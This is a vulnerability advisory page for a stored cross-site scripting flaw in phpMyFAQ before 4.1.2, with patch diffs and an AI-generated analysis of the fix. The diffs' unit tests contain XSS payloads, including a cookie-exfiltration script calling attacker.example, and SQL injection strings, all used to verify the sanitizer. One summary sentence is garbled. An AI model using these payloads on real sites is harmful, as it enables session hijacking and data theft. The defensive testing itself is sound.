VYPR
Medium severity5.4NVD Advisory· Published May 15, 2026· Updated May 18, 2026

CVE-2026-46363

CVE-2026-46363

Description

phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in FAQ creation and update endpoints that bypass sanitization through encode-decode cycles. The vulnerability allows authenticated attackers with FAQ_ADD permission to inject malicious script tags via question or answer parameters, which execute in every visitor's browser when FAQ content is rendered with the raw Twig filter.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

phpMyFAQ before 4.1.2 has a stored XSS in FAQ creation/update endpoints that bypasses sanitization via an encode-decode cycle, allowing authenticated attackers with FAQ_ADD permission to inject arbitrary JavaScript.

Vulnerability

phpMyFAQ versions before 4.1.2 contain a stored cross-site scripting vulnerability in the FAQ creation and update endpoints (FaqController.php). The sanitization pipeline applies FILTER_SANITIZE_SPECIAL_CHARS (which HTML-encodes input via htmlspecialchars()), then immediately calls html_entity_decode() to reverse the encoding, followed by Filter::removeAttributes() which only strips HTML attributes—not tags. This allows `) into the question or answer` parameter. The encode-decode cycle fails to remove the tag, and it is stored in the database. When any user visits the FAQ page, the script executes in their browser context [1].

Impact

Successful exploitation results in persistent cross-site scripting (XSS) that executes in the browser of every visitor viewing the affected FAQ. This can lead to session hijacking, credential theft, defacement, or further attacks against the application. The attacker must have FAQ_ADD permission, which is typically granted to authenticated users with content creation roles [1][2].

Mitigation

The vulnerability is fixed in phpMyFAQ version 4.1.2. Users should upgrade to 4.1.2 or later immediately. No workarounds are documented. The CVE is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog as of publication [1][2].

AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

1

Patches

4
79da5ecf051d

refactor: replaced custom sanitization with Symfony's HtmlSanitizer

https://github.com/thorsten/phpmyfaqThorsten RinneApr 6, 2026Fixed in 4.1.2via llm-release-walk
2 files changed · +86 182
  • phpmyfaq/src/phpMyFAQ/Filter.php+23 181 modified
    @@ -19,6 +19,8 @@
     
     namespace phpMyFAQ;
     
    +use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
    +use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
     use Symfony\Component\HttpFoundation\Request;
     
     /**
    @@ -132,192 +134,32 @@ public function filterSanitizeString(string $string): string
         }
     
         /**
    -     * Removes a lot of HTML attributes.
    +     * Sanitizes HTML by allowing safe elements and attributes via Symfony's HtmlSanitizer.
          */
         public static function removeAttributes(string $html = ''): string
         {
    -        $keep = [
    -            'href',
    -            'src',
    -            'title',
    -            'alt',
    -            'class',
    -            'style',
    -            'id',
    -            'name',
    -            'size',
    -            'dir',
    -            'rel',
    -            'rev',
    -            'target',
    -            'width',
    -            'height',
    -            'controls',
    -        ];
    -
             // remove broken stuff
             $html = str_replace(search: '
', replace: '', subject: $html);
     
    -        // Match attributes with double quotes, single quotes, or no quotes
    -        preg_match_all(
    -            pattern: '/[a-z]+\s*=\s*(?:"[^"]*"|\'[^\']*\'|[^\s>]+)/iU',
    -            subject: $html,
    -            matches: $attributes,
    -        );
    -
    -        foreach ($attributes[0] as $attribute) {
    -            $attributeName = stristr($attribute, needle: '=', before_needle: true);
    -            $attributeName = trim($attributeName);
    -            if (!self::isAttribute($attributeName)) {
    -                continue;
    -            }
    -
    -            if (in_array($attributeName, $keep, strict: true)) {
    -                continue;
    -            }
    -
    -            $html = str_replace(' ' . $attribute, replace: '', subject: $html);
    -        }
    -
    -        return $html;
    -    }
    -
    -    private static function isAttribute(string $attribute): bool
    -    {
    -        $globalAttributes = [
    -            'autocomplete',
    -            'autofocus',
    -            'disabled',
    -            'list',
    -            'name',
    -            'readonly',
    -            'required',
    -            'tabindex',
    -            'type',
    -            'value',
    -            'accesskey',
    -            'class',
    -            'contenteditable',
    -            'contextmenu',
    -            'dir',
    -            'draggable',
    -            'dropzone',
    -            'id',
    -            'lang',
    -            'style',
    -            'tabindex',
    -            'title',
    -            'inputmode',
    -            'is',
    -            'itemid',
    -            'itemprop',
    -            'itemref',
    -            'itemscope',
    -            'itemtype',
    -            'lang',
    -            'slot',
    -            'spellcheck',
    -            'translate',
    -            'autofocus',
    -            'disabled',
    -            'form',
    -            'multiple',
    -            'name',
    -            'required',
    -            'size',
    -            'autocapitalize',
    -            'autocomplete',
    -            'autofocus',
    -            'cols',
    -            'disabled',
    -            'form',
    -            'maxlength',
    -            'minlength',
    -            'name',
    -            'placeholder',
    -            'readonly',
    -            'required',
    -            'rows',
    -            'spellcheck',
    -            'wrap',
    -            'onmouseenter',
    -            'onmouseleave',
    -            'onafterprint',
    -            'onbeforeprint',
    -            'onbeforeunload',
    -            'onhashchange',
    -            'onmessage',
    -            'onoffline',
    -            'ononline',
    -            'onpopstate',
    -            'onpagehide',
    -            'onpageshow',
    -            'onresize',
    -            'onunload',
    -            'ondevicemotion',
    -            'preload',
    -            'ondeviceorientation',
    -            'onabort',
    -            'onblur',
    -            'oncanplay',
    -            'oncanplaythrough',
    -            'onchange',
    -            'onclick',
    -            'oncontextmenu',
    -            'ondblclick',
    -            'ondrag',
    -            'ondragend',
    -            'ondragenter',
    -            'ondragleave',
    -            'ondragover',
    -            'ondragstart',
    -            'ondrop',
    -            'ondurationchange',
    -            'onemptied',
    -            'onended',
    -            'onerror',
    -            'onfocus',
    -            'oninput',
    -            'oninvalid',
    -            'onkeydown',
    -            'onkeypress',
    -            'onkeyup',
    -            'onload',
    -            'onloadeddata',
    -            'onloadedmetadata',
    -            'onloadstart',
    -            'onmousedown',
    -            'onmousemove',
    -            'onmouseout',
    -            'onmouseover',
    -            'onmouseup',
    -            'controls',
    -            'onmozfullscreenchange',
    -            'onmozfullscreenerror',
    -            'onpause',
    -            'onplay',
    -            'onplaying',
    -            'onprogress',
    -            'onratechange',
    -            'onreset',
    -            'onscroll',
    -            'onseeked',
    -            'onseeking',
    -            'onselect',
    -            'onshow',
    -            'onstalled',
    -            'onsubmit',
    -            'onsuspend',
    -            'ontimeupdate',
    -            'onvolumechange',
    -            'onwaiting',
    -            'oncopy',
    -            'oncut',
    -            'onpaste',
    -            'onbeforescriptexecute',
    -            'onafterscriptexecute',
    -        ];
    -
    -        return in_array($attribute, $globalAttributes, strict: true);
    +        $config = (new HtmlSanitizerConfig())
    +            ->allowSafeElements()
    +            ->allowRelativeLinks()
    +            ->allowRelativeMedias()
    +            ->allowAttribute('class', allowedElements: '*')
    +            ->allowAttribute('style', allowedElements: '*')
    +            ->allowAttribute('id', allowedElements: '*')
    +            ->allowAttribute('dir', allowedElements: '*')
    +            ->allowAttribute('name', allowedElements: '*')
    +            ->allowAttribute('target', allowedElements: 'a')
    +            ->allowAttribute('controls', allowedElements: ['audio', 'video'])
    +            ->blockElement('form')
    +            ->blockElement('input')
    +            ->blockElement('textarea')
    +            ->blockElement('select')
    +            ->blockElement('button');
    +
    +        $sanitizer = new HtmlSanitizer($config);
    +
    +        return $sanitizer->sanitize($html);
         }
     }
    
  • tests/phpMyFAQ/FilterTest.php+63 1 modified
    @@ -271,7 +271,69 @@ public function testRemoveAttributesWithSvgOnload(): void
             $html = '<svg onload=alert(1)>';
             $result = Filter::removeAttributes($html);
     
    -        $this->assertStringNotContainsString('onload', $result);
    +        $this->assertStringNotContainsString('<svg', $result);
    +    }
    +
    +    public function testRemoveAttributesStripsScriptTags(): void
    +    {
    +        $html = 'Safe content<script>alert(document.cookie)</script> more content';
    +        $result = Filter::removeAttributes($html);
    +
    +        $this->assertStringNotContainsString('<script>', $result);
    +        $this->assertStringNotContainsString('alert(document.cookie)', $result);
    +        $this->assertStringContainsString('Safe content', $result);
    +        $this->assertStringContainsString('more content', $result);
    +    }
    +
    +    public function testRemoveAttributesStripsIframeTags(): void
    +    {
    +        $html = 'Before<iframe src="https://evil.com"></iframe>After';
    +        $result = Filter::removeAttributes($html);
    +
    +        $this->assertStringNotContainsString('<iframe', $result);
    +        $this->assertStringNotContainsString('</iframe>', $result);
    +        $this->assertStringContainsString('Before', $result);
    +        $this->assertStringContainsString('After', $result);
    +    }
    +
    +    public function testRemoveAttributesStripsObjectEmbedTags(): void
    +    {
    +        $html = '<object data="evil.swf"><embed src="evil.swf"></object>';
    +        $result = Filter::removeAttributes($html);
    +
    +        $this->assertStringNotContainsString('<object', $result);
    +        $this->assertStringNotContainsString('<embed', $result);
    +    }
    +
    +    public function testRemoveAttributesStripsJavascriptUri(): void
    +    {
    +        $html = '<a href="javascript:alert(1)">click</a>';
    +        $result = Filter::removeAttributes($html);
    +
    +        $this->assertStringNotContainsString('javascript:', $result);
    +        $this->assertStringContainsString('click', $result);
    +    }
    +
    +    public function testRemoveAttributesStripsFormAndBaseTags(): void
    +    {
    +        $html = '<form action="https://evil.com"><input name="q"><base href="https://evil.com">';
    +        $result = Filter::removeAttributes($html);
    +
    +        $this->assertStringNotContainsString('<form', $result);
    +        $this->assertStringNotContainsString('<base', $result);
    +    }
    +
    +    public function testRemoveAttributesHandlesEncodeThenDecode(): void
    +    {
    +        // Simulates the actual vulnerable pipeline: FILTER_SANITIZE_SPECIAL_CHARS -> html_entity_decode -> removeAttributes
    +        $userInput = 'Helpful content<script>fetch("https://attacker.example/steal?c="+document.cookie)</script>';
    +        $filtered = Filter::filterVar($userInput, FILTER_SANITIZE_SPECIAL_CHARS);
    +        $decoded = html_entity_decode((string) $filtered, ENT_QUOTES | ENT_HTML5, 'UTF-8');
    +        $result = Filter::removeAttributes($decoded);
    +
    +        $this->assertStringNotContainsString('<script>', $result);
    +        $this->assertStringNotContainsString('fetch(', $result);
    +        $this->assertStringContainsString('Helpful content', $result);
         }
     
         public function testRemoveAttributesWithMixedQuoteStyles(): void
    
496a2bc2383b

fix: added missing escaped values

https://github.com/thorsten/phpmyfaqThorsten RinneApr 24, 2026Fixed in 4.1.2via llm-release-walk
1 file changed · +6 5
  • phpmyfaq/src/phpMyFAQ/User/CurrentUser.php+6 5 modified
    @@ -681,6 +681,7 @@ public function setSuccess(bool $success): bool
          */
         public function setTokenData(#[\SensitiveParameter] array $token): bool
         {
    +        $db = $this->configuration->getDb();
             $update = sprintf(
                 "
                 UPDATE
    @@ -693,14 +694,14 @@ public function setTokenData(#[\SensitiveParameter] array $token): bool
                 WHERE
                     user_id = %d",
                 Database::getTablePrefix(),
    -            $token['refresh_token'],
    -            $token['access_token'],
    -            $token['code_verifier'],
    -            json_encode($token['jwt'], JSON_THROW_ON_ERROR),
    +            $db->escape($token['refresh_token']),
    +            $db->escape($token['access_token']),
    +            $db->escape($token['code_verifier']),
    +            $db->escape(json_encode($token['jwt'], JSON_THROW_ON_ERROR)),
                 $this->getUserId(),
             );
     
    -        return (bool) $this->configuration->getDb()->query($update);
    +        return (bool) $db->query($update);
         }
     
         /**
    
545bdffb1124

fix: added missing escaping

https://github.com/thorsten/phpmyfaqThorsten RinneApr 21, 2026Fixed in 4.1.2via llm-release-walk
2 files changed · +133 14
  • phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php+34 14 modified
    @@ -274,6 +274,11 @@ private function generateCaptchaCode(int $capLength): string
          */
         private function garbageCollector(): void
         {
    +        $db = $this->configuration->getDb();
    +        $userAgent = $this->escapeQueryValue($this->userAgent);
    +        $language = $this->escapeQueryValue($this->configuration->getLanguage()->getLanguage());
    +        $ip = $this->escapeQueryValue($this->ip);
    +
             $delete = sprintf(
                 '
                 DELETE FROM 
    @@ -284,7 +289,7 @@ private function garbageCollector(): void
                 Request::createFromGlobals()->server->get('REQUEST_TIME') - 604800,
             );
     
    -        $this->configuration->getDb()->query($delete);
    +        $db->query($delete);
     
             $delete = sprintf(
                 "
    @@ -293,31 +298,37 @@ private function garbageCollector(): void
                 WHERE
                     useragent = '%s' AND language = '%s' AND ip = '%s'",
                 Database::getTablePrefix(),
    -            $this->userAgent,
    -            $this->configuration->getLanguage()->getLanguage(),
    -            $this->ip,
    +            $userAgent,
    +            $language,
    +            $ip,
             );
     
    -        $this->configuration->getDb()->query($delete);
    +        $db->query($delete);
         }
     
         /**
          * Save the Captcha.
          */
         private function saveCaptcha(): bool
         {
    +        $db = $this->configuration->getDb();
    +        $code = $this->escapeQueryValue($this->code);
    +        $userAgent = $this->escapeQueryValue($this->userAgent);
    +        $language = $this->escapeQueryValue($this->configuration->getLanguage()->getLanguage());
    +        $ip = $this->escapeQueryValue($this->ip);
    +
             $select = sprintf("
                SELECT 
                    id 
                FROM 
                    %sfaqcaptcha 
                WHERE 
    -               id = '%s'", Database::getTablePrefix(), $this->code);
    +                id = '%s'", Database::getTablePrefix(), $code);
     
    -        $result = $this->configuration->getDb()->query($select);
    +        $result = $db->query($select);
     
             if ($result) {
    -            $num = $this->configuration->getDb()->numRows($result);
    +            $num = $db->numRows($result);
                 if ($num > 0) {
                     return false;
                 }
    @@ -330,13 +341,13 @@ private function saveCaptcha(): bool
                             VALUES 
                         ('%s', '%s', '%s', '%s', %d)",
                     Database::getTablePrefix(),
    -                $this->code,
    -                $this->userAgent,
    -                $this->configuration->getLanguage()->getLanguage(),
    -                $this->ip,
    +                $code,
    +                $userAgent,
    +                $language,
    +                $ip,
                     $this->timestamp,
                 );
    -            $this->configuration->getDb()->query($insert);
    +            $db->query($insert);
                 return true;
             }
     
    @@ -471,7 +482,16 @@ private function removeCaptcha(?string $captchaCode = null): void
                 $captchaCode = $this->code;
             }
     
    -        $query = sprintf("DELETE FROM %sfaqcaptcha WHERE id = '%s'", Database::getTablePrefix(), $captchaCode);
    +        $query = sprintf(
    +            "DELETE FROM %sfaqcaptcha WHERE id = '%s'",
    +            Database::getTablePrefix(),
    +            $this->escapeQueryValue($captchaCode),
    +        );
             $this->configuration->getDb()->query($query);
         }
    +
    +    private function escapeQueryValue(mixed $value): string
    +    {
    +        return $this->configuration->getDb()->escape((string) ($value ?? ''));
    +    }
     }
    
  • tests/phpMyFAQ/Captcha/BuiltinCaptchaTest.php+99 0 modified
    @@ -5,10 +5,14 @@
     use Exception;
     use phpMyFAQ\Configuration;
     use phpMyFAQ\Database\Sqlite3;
    +use phpMyFAQ\Language;
     use phpMyFAQ\Strings;
    +use phpMyFAQ\Translation;
     use PHPUnit\Framework\Attributes\AllowMockObjectsWithoutExpectations;
     use PHPUnit\Framework\TestCase;
     use ReflectionClass;
    +use ReflectionMethod;
    +use Symfony\Component\HttpFoundation\Session\Session;
     
     /**
      * Class CaptchaTest
    @@ -24,11 +28,19 @@ class BuiltinCaptchaTest extends TestCase
         /** @var Configuration */
         protected Configuration $configuration;
     
    +    /**
    +     * @throws \phpMyFAQ\Core\Exception
    +     */
         protected function setUp(): void
         {
             parent::setUp();
     
             Strings::init();
    +        Translation::create()
    +            ->setTranslationsDir(PMF_TRANSLATION_DIR)
    +            ->setDefaultLanguage('en')
    +            ->setCurrentLanguage('en')
    +            ->setMultiByteLanguage();
     
             $_SERVER['HTTP_USER_AGENT'] = 'AwesomeBrowser';
             $_SERVER['REMOTE_ADDR'] = '::1';
    @@ -38,6 +50,9 @@ protected function setUp(): void
             $dbHandle = new Sqlite3();
             $dbHandle->connect(PMF_TEST_DIR . '/test.db', '', '');
             $this->configuration = new Configuration($dbHandle);
    +        $language = new Language($this->configuration, $this->createStub(Session::class));
    +        Language::$language = 'en';
    +        $this->configuration->setLanguage($language);
             $this->captcha = new BuiltinCaptcha($this->configuration);
         }
     
    @@ -325,4 +340,88 @@ public function testCaptchaConsistency(): void
     
             $this->assertEquals($output1, $output2);
         }
    +
    +    public function testSaveCaptchaEscapesUserAgentAndIpValues(): void
    +    {
    +        $userAgent = "Browser' OR 1=1 -- ";
    +        $ip = "127.0.0.1' OR 'x'='x";
    +
    +        $_SERVER['HTTP_USER_AGENT'] = $userAgent;
    +        $_SERVER['REMOTE_ADDR'] = $ip;
    +        $_SERVER['REQUEST_TIME'] = 42;
    +
    +        $captcha = new BuiltinCaptcha($this->configuration);
    +        $this->configuration->getDb()->query('DELETE FROM faqcaptcha WHERE 1 = 1');
    +        $this->setPrivateProperty($captcha, 'code', 'ABC123');
    +
    +        $result = $this->invokePrivateMethod($captcha, 'saveCaptcha');
    +
    +        $this->assertTrue($result);
    +        $this->assertStringContainsString("Browser'' OR 1=1 -- ", $this->configuration->getDb()->log());
    +        $this->assertStringContainsString("127.0.0.1'' OR ''x''=''x", $this->configuration->getDb()->log());
    +
    +        $storedCaptcha = $this->configuration->getDb()->query("SELECT id, useragent, ip FROM faqcaptcha WHERE id = 'ABC123'");
    +
    +        $this->assertNotFalse($storedCaptcha);
    +        $storedRow = $this->configuration->getDb()->fetchAssoc($storedCaptcha);
    +
    +        $this->assertSame('ABC123', $storedRow['id']);
    +        $this->assertSame($userAgent, $storedRow['useragent']);
    +        $this->assertSame($ip, $storedRow['ip']);
    +    }
    +
    +    public function testGarbageCollectorEscapesUserAgentAndIpValues(): void
    +    {
    +        $db = $this->configuration->getDb();
    +        $userAgent = "Cleanup' OR 1=1 -- ";
    +        $ip = "::1' OR '1'='1";
    +        $language = $this->configuration->getLanguage()->getLanguage();
    +
    +        $_SERVER['HTTP_USER_AGENT'] = $userAgent;
    +        $_SERVER['REMOTE_ADDR'] = $ip;
    +        $_SERVER['REQUEST_TIME'] = 1;
    +
    +        $captcha = new BuiltinCaptcha($this->configuration);
    +
    +        $db->query('DELETE FROM faqcaptcha WHERE 1 = 1');
    +        $db->query(sprintf(
    +            "INSERT INTO faqcaptcha (id, useragent, language, ip, captcha_time) VALUES ('TARGET1', '%s', '%s', '%s', 1)",
    +            $db->escape($userAgent),
    +            $db->escape($language),
    +            $db->escape($ip),
    +        ));
    +        $db->query(sprintf(
    +            "INSERT INTO faqcaptcha (id, useragent, language, ip, captcha_time) VALUES ('SAFE001', 'safe-agent', '%s', '127.0.0.2', 1)",
    +            $db->escape($language),
    +        ));
    +
    +        $this->invokePrivateMethod($captcha, 'garbageCollector');
    +
    +        $this->assertStringContainsString("Cleanup'' OR 1=1 -- ", $db->log());
    +        $this->assertStringContainsString("::1'' OR ''1''=''1", $db->log());
    +
    +        $deletedResult = $db->query("SELECT id FROM faqcaptcha WHERE id = 'TARGET1'");
    +        $safeResult = $db->query("SELECT id FROM faqcaptcha WHERE id = 'SAFE001'");
    +
    +        $this->assertNotFalse($deletedResult);
    +        $this->assertSame([], $db->fetchAssoc($deletedResult));
    +
    +        $this->assertNotFalse($safeResult);
    +        $safeRow = $db->fetchAssoc($safeResult);
    +        $this->assertSame('SAFE001', $safeRow['id']);
    +    }
    +
    +    private function invokePrivateMethod(object $object, string $methodName, array $arguments = []): mixed
    +    {
    +        $reflectionMethod = new ReflectionMethod($object, $methodName);
    +
    +        return $reflectionMethod->invokeArgs($object, $arguments);
    +    }
    +
    +    private function setPrivateProperty(object $object, string $propertyName, mixed $value): void
    +    {
    +        $reflection = new ReflectionClass($object);
    +        $property = $reflection->getProperty($propertyName);
    +        $property->setValue($object, $value);
    +    }
     }
    
ee04f197ae4a

fix: corrected entity encoding

https://github.com/thorsten/phpmyfaqThorsten RinneApr 16, 2026Fixed in 4.1.2via llm-release-walk
5 files changed · +8 6
  • phpmyfaq/assets/templates/default/search.twig+1 1 modified
    @@ -80,7 +80,7 @@
     
           {% else %}
             <p class="text-muted mt-5">
    -          {{ 'help_search' | translate | raw }}
    +          {{ 'help_search' | translate }}
             </p>
           {% endif %}
         </section>
    
  • phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php+1 1 modified
    @@ -91,7 +91,7 @@ public function search(Request $request): JsonResponse
                 $url = $this->configuration->getDefaultUrl() . 'index.php?action=faq&cat=%d&id=%d&artlang=%s';
                 $result = [];
                 foreach ($searchResultSet->getResultSet() as $data) {
    -                $data->answer = html_entity_decode(strip_tags((string) $data->answer), ENT_COMPAT, encoding: 'utf-8');
    +                $data->answer = strip_tags((string) $data->answer);
                     $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);
                     $url = sprintf($url, $data->category_id, $data->id, $data->lang);
                     $link = new Link($url, $this->configuration);
    
  • phpmyfaq/src/phpMyFAQ/Faq.php+2 2 modified
    @@ -579,10 +579,10 @@ public function renderFaqsByFaqIds(
                     $oLink->tooltip = $title;
     
                     $rowResult->renderedScore = 0;
    -                $rowResult->question = Utils::chopString($title, 15);
    +                $rowResult->question = Utils::chopString(Strings::htmlentities($title), 15);
                     $rowResult->path = '';
                     $rowResult->url = $oLink->toString();
    -                $rowResult->answerPreview = $faqHelper->renderAnswerPreview($row->answer, 20);
    +                $rowResult->answerPreview = Strings::htmlentities($faqHelper->renderAnswerPreview($row->answer, 20));
     
                     $lastFaqId = $row->id;
                     $searchResults[] = $rowResult;
    
  • phpmyfaq/src/phpMyFAQ/Helper/SearchHelper.php+1 1 modified
    @@ -181,7 +181,7 @@ public function getSearchResult(SearchResultSet $searchResultSet, int $currentPa
                     $categoryInfo = $this->Category->getCategoriesFromFaq((int) $resultSet->id);
                     $categoryInfo = array_values($categoryInfo); //Reset the array keys
                     $question = Utils::chopString(Strings::htmlentities($resultSet->question), 15);
    -                $answerPreview = $faqHelper->renderAnswerPreview($resultSet->answer, 20);
    +                $answerPreview = Strings::htmlentities($faqHelper->renderAnswerPreview($resultSet->answer, 20));
     
                     $searchTerm = str_replace(
                         ['^', '.', '?', '*', '+', '{', '}', '(', ')', '[', ']', '"'],
    
  • phpmyfaq/src/phpMyFAQ/Search.php+3 1 modified
    @@ -246,13 +246,15 @@ public function logSearchTerm(string $searchTerm): void
                 return;
             }
     
    +        $sanitizedSearchTerm = htmlspecialchars($searchTerm, ENT_QUOTES | ENT_HTML5, 'UTF-8');
    +
             $dateTime = new DateTime();
             $query = sprintf(
                 "INSERT INTO %s (id, lang, searchterm, searchdate) VALUES (%d, '%s', '%s', '%s')",
                 $this->table,
                 $this->configuration->getDb()->nextId($this->table, 'id'),
                 $this->configuration->getLanguage()->getLanguage(),
    -            $this->configuration->getDb()->escape($searchTerm),
    +            $this->configuration->getDb()->escape($sanitizedSearchTerm),
                 $dateTime->format('Y-m-d H:i:s'),
             );
     
    

Vulnerability mechanics

Root cause

"The custom HTML sanitizer in Filter::removeAttributes could be bypassed through an encode-decode cycle (FILTER_SANITIZE_SPECIAL_CHARS followed by html_entity_decode), allowing stored XSS via FAQ question/answer parameters."

Attack vector

An authenticated attacker with FAQ_ADD permission submits a FAQ question or answer containing a malicious script tag that is first encoded by FILTER_SANITIZE_SPECIAL_CHARS, then decoded via html_entity_decode before reaching the custom removeAttributes() sanitizer. The custom sanitizer's attribute-based filtering does not strip <script> tags themselves, only dangerous attributes like onload. When the FAQ content is rendered in a visitor's browser using the raw Twig filter, the injected script executes, enabling cookie theft or other client-side attacks [CWE-79]. The CVSS vector indicates the attack requires low privileges and user interaction (a victim viewing the FAQ page).

Affected code

The primary vulnerable code is in phpmyfaq/src/phpMyFAQ/Filter.php, specifically the removeAttributes() method which used a custom attribute allowlist that did not strip <script> tags. The encode-decode pipeline existed in the FAQ creation/update flow where FILTER_SANITIZE_SPECIAL_CHARS was applied, then html_entity_decode reversed the encoding before removeAttributes() ran. Additional related files patched include Faq.php, Search.php, SearchHelper.php, SearchController.php, and the search.twig template [patch_id=1068607][patch_id=1068608].

What the fix does

Patch [patch_id=1068607] replaces the entire custom removeAttributes() method with Symfony's HtmlSanitizer, which uses an allowlist-based approach (allowSafeElements()) that strips <script>, <iframe>, <object>, <embed>, <form>, <input>, <textarea>, <select>, and <button> elements entirely. The new sanitizer also blocks javascript: URIs in links. Patch [patch_id=1068608] adds additional output encoding via Strings::htmlentities() in Faq.php and SearchHelper.php, removes a raw filter from search.twig, and strips html_entity_decode from the API search controller to prevent the decode step that enabled the bypass. Together these patches close the encode-decode bypass at both the input sanitization and output rendering layers.

Preconditions

  • authAttacker must be authenticated with FAQ_ADD permission
  • inputAttacker must submit a question or answer containing a script tag that survives the encode-decode-sanitize pipeline
  • networkVictim must visit the FAQ page where the stored content is rendered with the raw Twig filter

Generated on May 21, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.